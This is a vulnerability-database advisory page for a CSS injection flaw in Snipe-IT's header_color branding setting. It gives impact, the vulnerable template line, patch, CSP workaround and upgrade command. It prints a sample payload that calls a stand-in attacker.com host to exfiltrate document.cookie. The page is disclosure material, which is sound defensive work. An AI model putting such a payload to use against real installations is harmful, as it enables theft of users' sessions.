Loading...
Skip to main content

CVE-2026-55481 — Vulnerability in snipe/snipe-it — CVE Details

MEDIUM

Snipe-IT has CSS Injection via `header_color` Setting

Published August 28, 2026Updated August 28, 2026Source: osv

Summary

### Impact Because `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators. Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack. ### Details The `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `<style>` block using Laravel's `{{ }}` syntax: ``` --main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }}; ``` Although `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like: ``` #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x { ``` This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load. ### Patches Patched in https://github.com/grokability/snipe-it/pull/19097 ### Workarounds Enable CSP in your .env file.

Advisory Timeline

  • First published August 28, 2026 (45 days ago).
  • Last revised August 28, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update snipe/snipe-it to 8.6.2 or later
composer require "snipe/snipe-it:^8.6.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
snipe/snipe-it
packagist
3.2.0, v0.1.0, v0.1.1, v0.1.2 (+274 more)8.6.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Frequently Asked Questions

What is CVE-2026-55481?
Snipe-IT has CSS Injection via `header_color` Setting This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-55481?
CVE-2026-55481 affects snipe/snipe-it. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-55481 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-w7qw-5wfv-gwx9

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies